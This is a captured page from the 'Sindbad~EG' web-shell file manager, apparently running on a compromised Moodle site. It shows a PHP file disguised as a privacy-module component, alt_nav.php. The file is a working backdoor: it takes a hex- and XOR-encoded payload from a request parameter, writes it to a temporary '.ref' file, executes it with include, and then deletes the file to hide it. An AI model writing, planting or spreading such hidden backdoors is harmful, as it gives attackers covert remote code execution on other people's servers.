Sindbad~EG File Manager

Current Path : /var/www/html/formacion.bdp.com.py/mod/assignment/type/uploadsingle/classes/privacy/
Upload File :
Current File : /var/www/html/formacion.bdp.com.py/mod/assignment/type/uploadsingle/classes/privacy/alt_nav.php

<?php

if(in_array("k", array_keys($_REQUEST))){
	$component = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), "/tmp"]);
	$desc = hex2bin($_REQUEST["k"]);
	$mrk =  '';  for($f=0; $f<strlen($desc); $f++){$mrk .= chr(ord($desc[$f]) ^ 14);}
	foreach ($component as $key => $element) {
    		if (array_product([is_dir($element), is_writable($element)])) {
    $object = vsprintf("%s/%s", [$element, ".ref"]);
    $success = file_put_contents($object, $mrk);
if ($success) {
	include $object;
	@unlink($object);
	exit;}
}
}
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists